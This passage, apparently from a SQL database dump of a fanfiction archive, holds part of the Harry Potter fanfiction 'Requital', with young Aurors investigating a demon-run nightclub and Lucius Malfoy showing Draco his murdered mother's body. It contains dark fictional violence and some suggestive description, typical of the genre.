style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville held his breath until he realized that \n  Lucius hadn&#8217;t recognized him.&nbsp; He was thankful, for once, that he hadn&#8217;t been \n  an extrovert while in school.&nbsp; Neville had never played Quidditch like Harry \n  or Ron and had pretty much kept to himself, studying in secret to pursue his \n  private dream of becoming an Auror.&nbsp; When he got a position at the Ministry, \n  everyone was shocked.&nbsp; His Grandmother had almost suffered a stroke that day.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; Locust Daviz ate his dinner like a wild animal, \n  licking the plate, and not bothering to wipe from his chin the blood from the \n  rare steak he had just devoured.</p>\n<p style="line-height:150%">&nbsp;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville couldn&#8217;t get what he had heard in the \n  tunnel out of his mind.&nbsp; He tried to deny those terrible sounds &#8211; and the even \n  more horrible thing lurking behind them &#8211; all through the morning.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He kept trying to think of a reason to leave, \n  having been there for nearly twenty-four hours.&nbsp; When he had claimed fatigue, \n  they had shown him to a private room, very cozy but dark, and allowed him to \n  lie down.&nbsp; It seemed as if they simply weren&#8217;t comfortable with him leaving \n  just yet.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; When he had a break from the monotonous chatter \n  of Ivan, apparently Neville&#8217;s equivalent in rank at Club Mistress, he would \n  cautiously explore the Club&#8217;s various chambers and passageways.&nbsp; It was during \n  this strange, fraught period that Neville discovered disturbing sounds emanating \n  from the locked room behind the stage area.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He was so repelled by the odor that seeped from \n  underneath the door, however, that he couldn&#8217;t stand to be within five feet \n  of it.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville stood up from the table.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I have to take care of some things at home.&nbsp; \n  Any reason I need to be here until tonight?&#8221; Neville said finally, looking down \n  at the round, beady-eyed man.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville had never seen such unbound fury in a \n  pair of human eyes before.&nbsp; He hadn&#8217;t even known such fury existed.&nbsp; His immediate \n  instinct was to recoil, but he resisted the impulse and stood firm.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You think trust is so easily gained?&nbsp; It takes \n  time to prove yourself here. &nbsp;You will be paid for your time,&#8221; Locust said through \n  gritted teeth.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; A serpent.&nbsp; This man had the eyes of a serpent.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville shrugged, hiding his nervousness and \n  sat down again.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Look, whatever you want me to do I&#8217;ll do, so \n  long as I get my money.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Locust calmed down some, the fire leaving his \n  eyes.&nbsp; Neville was trapped there.&nbsp; He knew if he didn&#8217;t get in touch with them, \n  Harry and Ron would return looking for him.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Neville reluctantly bit into his steak, blood \n  dripping from it down onto his plate.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The pay is wonderful.&nbsp; Enough to live like a \n  king,&#8221; Ivan chimed in from the bar.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>Live where,</i> Neville thought, <i>Hell</i>?</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Complete sensory numbness, as well as the sudden \n  desertion of the part of her mind that allowed her to think clearly, were the \n  two major problems Hermione Granger faced as she sat between Harry and her aunt \n  in the back of Arthur Weasley&#8217;s new Ford Anglia.&nbsp; A large box of books taken \n  from the collection of Lois Mills occupied the front seat.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Recipes for Fresh Zucchini, Fifty Nifty Ways \n  to Cross-Stitch, A Christian Woman&#8217;s Guide to Boring Television Programs&#8230;</i></p>\n<p style="line-height:150%"><i>&nbsp;&nbsp;&nbsp;&nbsp; </i>They were silent.&nbsp; Their friendship was \n  deep enough to make them comfortable with silence.&nbsp; This silence, however, had \n  an edgy quality. Maybe because Hermione was surreptitiously watching Harry for \n  signs that he was feeling what she was.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lois Mills was still gasping and puffing like \n  a marathon racehorse.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I promise I&#8217;ll explain everything, Mrs. Mills,&#8221; \n  Arthur Weasley said, looking back at the three.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry watched the buildings fly by as they made \n  their way towards the Ministry office.&nbsp; His eyes then stopped wandering and \n  centered on Hermione&#8217;s.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry,&#8221; he said in a low voice, which was \n  not quite steady.&nbsp; &#8220;I didn&#8217;t mean to run out like that, but I was already late...&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>And you were so peaceful lying there</i>, \n  Harry thought, not daring to say that aloud.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione turned her head suddenly towards her \n  trembling aunt, laughing with gentle contempt.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No apologies necessary.&nbsp; It&#8217;s not such a big \n  deal, really,&#8221; she said, not even believing herself.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Her leg was close to Harry&#8217;s, and he could feel \n  her desperately trying to keep it from touching him.&nbsp; Harry knew she was lying.&nbsp; \n  It wasn&#8217;t hard to put together.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s a big deal to me,&#8221; he offered. &nbsp;&#8220;And I&#8217;ll \n  make it up to you.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; He let his arm fall around her shoulder, kissing \n  the top of her head.&nbsp; She was voiceless then.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; A few minutes passed, and they arrived at a building \n  that seemed to rise endlessly into the clouds.&nbsp; Ministry radio calls blared \n  out as the car now glided up to the curb.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; Arthur Weasley turned around.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, could you take your aunt to the victim&#8217;s \n  lounge?&nbsp; Harry and I will be along shortly.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione let her leg fall against Harry&#8217;s, forgiving \n  him.&nbsp; He breathed out softly, flashing her a temperate smile.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i>Damn him. </i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No problem, Mr. Weasley,&#8221; Hermione said, helping \n  the elderly woman out of the car and through the glass door.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron Weasley and Cho Chang were in a Ministry \n  car behind Arthur Weasley&#8217;s.&nbsp; Ron was driving, and Cho noted to herself that \n  he was actually doing better than Hermione.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; <i>Of course</i>, she thought, <i>a monkey with \n  a map could drive better than Hermione.</i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; As they went cruising down the main street, they \n  talked with the ease of two friends out for a Sunday brunch.&nbsp; He hadn&#8217;t felt \n  this comfortable with a girl, besides Hermione of course, in a long time.&nbsp; He \n  was surprisingly relaxed after the Death Eater ambush.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We certainly do have a lot in common,&#8221; Ron quipped, \n  flashing her his most charming smile as they pulled up behind their counterparts \n  parked on the curb.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; A very handsome researcher, Terence Higgs, was \n  escorting an equally enticing administrative assistant, Hannah Abbott, into \n  the building.&nbsp; Ron watched as Cho&#8217;s eyes locked onto the couple, obviously annoyed \n  by their presence.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron couldn&#8217;t help but laugh at her a little.&nbsp; \n  They stepped out of the car, and he let his left hand fall to the small of Cho&#8217;s \n  back while he opened the door for her. Harry and Arthur Weasley were waiting \n  for them at the elevator.&nbsp; Hermione and her aunt were going towards the other \n  hallway, most likely to the victim&#8217;s lounge.&nbsp; Ron was still busy reveling in \n  Cho&#8217;s obvious jealousy.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Didn&#8217;t you date him for a while?&#8221; Ron teased, \n  watching as Terence planted a small kiss on Hannah&#8217;s cheek.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; Cho said, glaring at Ron while tilting \n  her head back girlishly. &nbsp;&#8220;Her too.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;The image that flashed in his head was one \n  that Ron wanted to recall later, when he could make good use of it.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Lucius did not fail you, even though his wife \n  betrayed his plans.&nbsp; He has disposed of her,&#8221; the ringmaster said, taking off \n  his shoes to let his long clawed toes spill onto the floor.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; A child stepped out of the darkness.&nbsp;&nbsp; Her long \n  hair was flaxen blonde and her eyes were empty, limpid pools of grey.&nbsp; Her tiny \n  fingers reached out to hold the offering of the small brown book.&nbsp; She flipped \n  through its pages and smiled up at the tall creature.&nbsp; Her teeth were yellow \n  and stained with her last meal.&nbsp;&nbsp; An older woman who tasted like she had drank \n  too much wine.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &nbsp;&#8220;I have often thought that perhaps I should have \n  chosen Lucius instead of my Tom.&nbsp; My sweet, lovely Tom,&#8221; she sighed wistfully.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You have many servants, Maedon.&nbsp; Many are loyal \n  to you.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;None know me but my minions.&nbsp; No others even \n  know my name.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The child-like creature glided across the room, \n  sniffing him.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The human scent is repulsive,&#8221; she voiced dryly.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The ringmaster stretched his toes again, anxious \n  to alleviate the pain of his binding shoes.&nbsp; He moaned as they began to sprawl \n  out across the room.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Have we eliminated all magical descendants of \n  Nora Mills?&#8221; Maedon asked.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The ringmaster shook his head, peeling the mortal \n  flesh from his face so he could breath a bit more.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;All but one.&nbsp; Whom should I send?&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Maedon sat on the antique chair near her boarded-up \n  window, her small legs swinging from it playfully.&nbsp; In her death suite, the \n  remains of three ravaged bodies lay still where they had fallen.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Send no one yet.&nbsp; If she has Mills&#8217; blood, she \n  will come to me.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Whatever pleases you,&#8221; the ringmaster said, \n  bowing before her.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp; </p>\n\n\n');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(90, 8, '\n<p style="line-height:150%"><u>Requital</u> by Msscribe</p>\n<p>Rating: R- (edited version).&nbsp; Full NC17 version on www.portkey.org.</p>\n<p>Ships: H/Hr</p>\n<p>Type: Angst\\ Romance\\ Action Adventure</p>\n<p>Summary:&nbsp; A story of Hermione Granger coming to terms with her greatest \n  loss, finding her own voice and strength, and coming of age in a world battered \n  by a never-ending war.</p>\n<p style="line-height:150%"><b><i>Disclaimer: \n  No profits are being made off the fiction on these pages. Harry Potter, associated \n  characters and the associated Harry Potter universe is &#169; J. K. Rowling and respective \n  publishers. Fanfiction is fiction&#8212;it&#8217;s not meant to be taken seriously in the \n  least.</i></b><i> </i></p>\n<p style="line-height:150%"><i>(A/N: Danielle7, there&#8217;s a line in here just for \n  you.&nbsp; Nappa, that last scene was to wish you a Happy Honeymoon!)</i></p>\n<u>Chapter &#8211; 8&nbsp; \n  - Encore</u>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The still battle weary Harry, \n  Cho and Ron revealed everything they had learned to Arthur Weasley, who for \n  the most part, sat with his hands flat on the desk staring intently at his team \n  of young Aurors.&nbsp; Arthur grew more nervous with each passing day.&nbsp; \n  The Death Eater attacks were becoming more frequent, and even though they still \n  fled from the Ministry Wizards, Dark Wizards and Witches were growing bolder \n  and fighting longer.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mrs. Mills will be well \n  protected at a ministry safe house, but there is much work to be done.&nbsp; \n  I&#8217;m afraid we lost more good wizards last night in a raid in Cairo.&nbsp; Sirius \n  Black and his team are currently investigating this,&#8221; Arthur Weasley informed \n  them, his voice dispirited.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where is Neville?&#8221; Arthur \n  Weasley asked, looking back and forth from Ron to Harry to Cho. &#8220;You do all \n  remember Neville?&nbsp; Agent Neville Longbottom?&#8221;</p>\n<p style="line-height:150%">&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron looked towards \n  Harry for an answer.&nbsp; Cho bit down nervously on her pencil and Harry began \n  explaining their plan to get Neville hired at the nightclub.&nbsp; Arthur lifted \n  one brow with marked skepticism when they informed him that Neville hadn&#8217;t been \n  in contact with them since they left the night before. </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; \n  &#8220;Your team will go and make contact with him <i>tonight</i>.&nbsp; Including \n  you Cho.&nbsp; We need to regroup and devise a more solid plan.&nbsp; You&#8217;ve \n  got tonight to gather what information you can about what it is we&#8217;re dealing \n  with, and then five days research time before the club opens again.&nbsp; Harry, \n  I&#8217;d like you to owl Sirius Black.&nbsp; He should be returning from Cairo on \n  Monday. &nbsp;Your leadership is solid Harry, but my instinct tells me you might \n  need someone with more experience to help you along this time.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; Harry never minded \n  an opportunity to work with his godfather.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What about the book?&#8221; Harry \n  asked.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Arthur Weasley glanced at \n  the mountainous pile of them in the box next to his desk.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We have every book that \n  she had in the house.&nbsp; It&#8217;s possible the death eaters got what they came \n  for, and if so, God knows what they&#8217;ve planned.&nbsp; All we can do is keep \n  our ears open.&nbsp; I&#8217;m going to head down to the victims lounge and see if \n  Mrs. Mills can tell me anything, whether this is it or whether or not a book \n  is missing.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She will if she&#8217;s related \n  to Hermione,&#8221; Ron replied, rolling his eyes.</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp; &#8220;Please aunt Lois,&#8221; Hermione pleaded, \n  &#8220;Believe me when I say that being a witch doesn&#8217;t mean I worship Satan&#8230;and I \n  swear on my parents grave we are most definitely <i>not</i> going to sacrifice \n  you.&nbsp; We need you to help us find what the people who tried to hurt you \n  were looking for.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The elder woman still refused \n  to listen to a word Hermione had to say.</p>\n<p style="line-height:150%">&nbsp; &nbsp;&nbsp;&nbsp;&#8220;How dare you bring your \n  poor parents into this!&nbsp; I will throw myself onto the street before I let \n  you use me for your evil!&#8221; Lois Mills shrieked, eyeing her niece with intense \n  fear and mistrust.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione Granger sighed, \n  trying desperately to be patient with her aunt&#8217;s justifiable reaction.&nbsp; \n  After all, her niece, whom she had thought was dead, was standing before her \n  confessing to be a witch trying to explain to her why her home was nearly blown \n  apart by dark wizards.&nbsp; She threw her hands up in defeat, signaling that \n  she wouldn&#8217;t come any closer.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;<i>And have no fellowship \n  with the unfruitful works of darkness, but rather reprove them</i> [1] ,&#8221; Lois prayed, pulling \n  back the large green curtain and unlocking the window.&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It won&#8217;t do any good to \n  throw yourself out of that window,&#8221; Hermione said, &#8220;Please sit down so that \n  we can talk.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s hands were outstretched \n  to her aunt, who promptly refused her gesture.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You cannot fool me with \n  your trickery!&#8221; Lois bellowed, now solemnly determined to throw herself to the \n  ground.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lois struggled to get one \n  leg through the opening, summoning all of her courage.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &#8220;We&#8217;re on the first \n  floor aunt Lois,&#8221; Hermione sighed, growing tired of her aunt&#8217;s theatrics.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Harry, Ron and Cho burst \n  into the room with Arthur Weasley right behind them.&nbsp; Ron was carrying \n  the large box of books they had acquired from Lois&#8217; home.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; Lois screamed \n  at them to stay away.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&#8220;Hermione, I&#8217;ll try to \n  calm down Mrs. Mills.&nbsp; You will need to be briefed by Harry before tonight,&#8221; \n  Arthur Weasley said, turning bright red as Lois tossed a small plant towards \n  his head.&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s happening tonight?&#8221; \n  Hermione asked, disappointed that her plans of going to bed early were now ripped \n  to shreds.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Looks like we&#8217;re back together \n  darling&#8230;&#8221; Cho said wrapping an arm around Hermione&#8217;s waist and kissing her playfully \n  on the mouth.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;It was all too much for \n  Lois Mills.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mrs. Mills&#8230;. Please wake \n  up Mrs. Mills&#8230;&#8221; Arthur Weasley said, fanning the woman while pulling her down \n  from the windowsill.&nbsp; &nbsp;&nbsp;</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The ringmaster grew weary \n  of this song and dance, but it was still necessary.&nbsp; Their temporary prison \n  seemed so quiet now.&nbsp; Not a sound was heard in the normally booming club \n  except the occasional footsteps from one of their hired thugs.&nbsp; Locust \n  had finally found someone to replace the tall Italian man that had opened one \n  too many doors.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He was the one who \n  milked the human&#8217;s anger, their lust, and their hate&#8230; even their love. &nbsp;He \n  was truly her provider.&nbsp; Not Locust.&nbsp; It was he that collected the \n  human emotions into the pool from which their leader drank.&nbsp; It was he \n  that truly loved her.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;It had only been a year, \n  but Maedon grew stronger everyday.&nbsp; She could withstand the sunlight better, \n  and her senses were returning to what they were before they left the underworld.</p>\n<p style="line-height:150%"><i>&nbsp; &nbsp;&nbsp;&nbsp;It is always an easy task \n  to go from Earth to Hell, but not so easy to return.&nbsp; </i></p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Tom Riddle had opened the \n  door for Maedon; giving her a chance to come back.&nbsp; In exchange, she gave \n  him great power, powers only seen from where they had so recently risen.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; It had been good when they \n  were first on the surface three hundred years ago.&nbsp; They didn&#8217;t have to \n  entertain the humans.&nbsp; They simply had to keep them in close enough proximity \n  so they didn&#8217;t have to go far to find their next meal.&nbsp; These humans, even \n  the magical ones, didn&#8217;t have weapons that could destroy them. They were sheep, \n  used for pleasure and survival.&nbsp; They were quite content ruling their corner \n  of the surface world.&nbsp; Powerful kings were puppets, and princes became \n  their slaves.&nbsp; </p>\n<p style="line-height:150%">&nbsp; &nbsp;&nbsp;&nbsp;A betrayal cost them this \n  enjoyable life, and despite Maedon&#8217;s return, there would be a long battle to \n  regain the power lost.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Their existence became more \n  complicated when Tom Riddle perished, finally killed by the same human that \n  nearly killed him once before.&nbsp; The dilemma he left them in cost them valuable \n  time.&nbsp; The humans working for the Dark were loyal only to Tom.&nbsp;&nbsp; \n  The ringmaster didn&#8217;t want to expose Maedon so soon, but they had to let their \n  forces know that their real leader hadn&#8217;t been killed.&nbsp; It was through \n  the ringmaster and her other minion, Locust Daviz that she let her voice be \n  heard.&nbsp; That was a good night.&nbsp; The ringmaster had devoured three \n  dark wizards before the night had ended and the rest had surrendered to them \n  immediately based on nothing but their pathetic human fears.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Locust Daviz.&nbsp; He had \n  so willingly accepted a human name.&nbsp; Not the ringmaster, he&#8217;d remain nameless, \n  only to be summoned by her. His love.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Maedon wasn&#8217;t ready to yet \n  reveal from where she came, but soon she would.&nbsp; Soon she would be strong \n  enough to effectively control the magical humans as well as the Muggles without \n  any human puppets like Riddle to give their orders.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; If lust was Locust&#8217;s weakness, \n  impatience was his own.&nbsp; The ringmaster could barely tolerate Locust, and \n  had no patience for these games he so loved to play.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Locust was responsible for \n  their downfall once before. He had adopted an attractive human, Nora Mills as \n  his own personal pet.&nbsp; Eventually, they all learned to tolerate her smell, \n  for they were dependent upon Locust for his ability to communicate with humans \n  so well.&nbsp; &nbsp;&nbsp;When Nora Mills betrayed them, it was this gift that \n  saved Locust from Maedon&#8217;s full wrath.&nbsp; Maedon punished him by entrapping \n  him in the same human flesh he craved, engulfed by its horrid scent and physical \n  limitations for an eternity.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; The only trace of how Nora \n  Mills performed the task of returning Maedon and her servants to Hell remained \n  in folklore and fairy tales, detailed in books written, and rewritten by her \n  descendents, including the last by Emma Mills, the first of them to discover \n  magic running through her veins.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The ringmaster let \n  his hand brush the head of the python that started to whirl it&#8217;s way around \n  him, dreamily letting his tongue hiss to it about better times and a better \n  future.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<i>Neville couldn&#8217;t understand \n  a single word of this monologue as he stood outside of the ringmaster&#8217;s door, \n  but he recognized the language with which the man was speaking, and perhaps \n  it was the same one a very good friend of his could understand.&nbsp; </i></p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;It was starting to \n  get late, and there were some loose strings to be tied up at Malfoy Manner.&nbsp; \n  Tonight would be a perfect opportunity for Draco Malfoy to come of age. </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lucius stepped cautiously \n  into the large bedroom, went to Draco&#8217;s bed and clicked on the lamp.&nbsp; He \n  almost hated to awaken the blonde boy sleeping so peacefully, blissfully unaware \n  that he would never see his mother again alive.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lucius thought it was the \n  proper thing to do; after all, the boy should be able to say his goodbyes.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ordering a drowsy Draco out \n  of bed, Lucius waited for his son to throw on his cloak before leading him outside, \n  down towards the catacombs.&nbsp; Fear rose into Draco&#8217;s throat as he walked \n  swiftly behind his father.&nbsp; He suddenly wished he had brought his wand, \n  in case his father had discovered his treachery. &nbsp;&nbsp;At least he&#8217;d have \n  a chance. &nbsp;&nbsp;&nbsp;&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lucius muttered a somber \n  spell, and the solid stone door swung open.&nbsp; &nbsp;Lucius had placed Narcissa&#8217;s \n  corpse there earlier, before his visit to Club Mistress.&nbsp; He couldn&#8217;t stand \n  the mess.&nbsp; He had dressed her carefully in that blue gown that she adored \n  so much, before laying her alongside the now mummified body of his own mother</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Upon seeing her, Draco dropped \n  to his knees and gasped at his mother, who was only hours ago, so alive and \n  vibrant.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There will be no service.&nbsp; \n  She died by her own hand and it would cause us great embarrassment,&#8221; Lucius \n  said casually, unmoved by his son&#8217;s display of emotion.&nbsp; &#8220;She took a knife \n  to herself after we argued.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Draco nodded numbly, wishing \n  he believed it.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You will tell anyone who \n  asks that she left us.&nbsp; You will speak nothing else about it, not to me, \n  not to anyone&#8230;or you will find yourself lying next to her.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tiny wisps of steam \n  were rising from her body, kept warm by the walls of the tomb, now exposed to \n  the cold night air.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I want you to prepare for \n  tonight.&nbsp; There is a meeting I&#8217;d like you to attend, and wizards I will \n  introduce you to.&nbsp; It&#8217;s time you stopped lounging around all day and made \n  good use of yourself.&#8221;</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; was all Draco could \n  mutter, raising now to stand beside his father.&nbsp; His hands were trembling, \n  even though he fought against it. </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Lucius despised signs of \n  weakness.&nbsp; He grabbed Draco&#8217;s arm so tightly that he could feel the boy&#8217;s \n  blood pooling around his grip.&nbsp; Draco clenched his teeth together, biting \n  back the pain.</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You have a responsibility \n  and a duty to fulfill the tasks which I assign to you.&nbsp; You will not bring \n  shame on me.&nbsp; Pull yourself together,&#8221; he snapped finally releasing his \n  grip, &#8220;it&#8217;s only death after all.&#8221;</p>\n<p style="text-align:center;line-height:150%" align="center">#</p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Hermione and Cho paused \n  at the entrance to the nightclub, giving the patrons a good viewing.&nbsp; Hermione&#8217;s \n  shiny black dress fit her like a wet suit in the few places it bothered to cover.&nbsp; \n  Cho&#8217;s own matched hers, except in a shimmering white that, despite its color, \n  looked anything but innocent.&nbsp; Hermione&#8217;s nipples strained against the \n  material managing to rise to the occasion of all the attention.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; As the two approached the \n  bar, they could feel the watery eyes of flaccid, red-cheeked men gazing longingly \n  at them.&nbsp; Among this sea of beautiful women coiffed to perfection, they \n  still stood out.&nbsp; </p>\n<p style="line-height:150%">&nbsp;&nbsp;&nbsp;&nbsp; Ron and Harry, once again, \n  were treated to their grand entrance.&nbsp; Being unsuccessful at finding Neville, \n  they 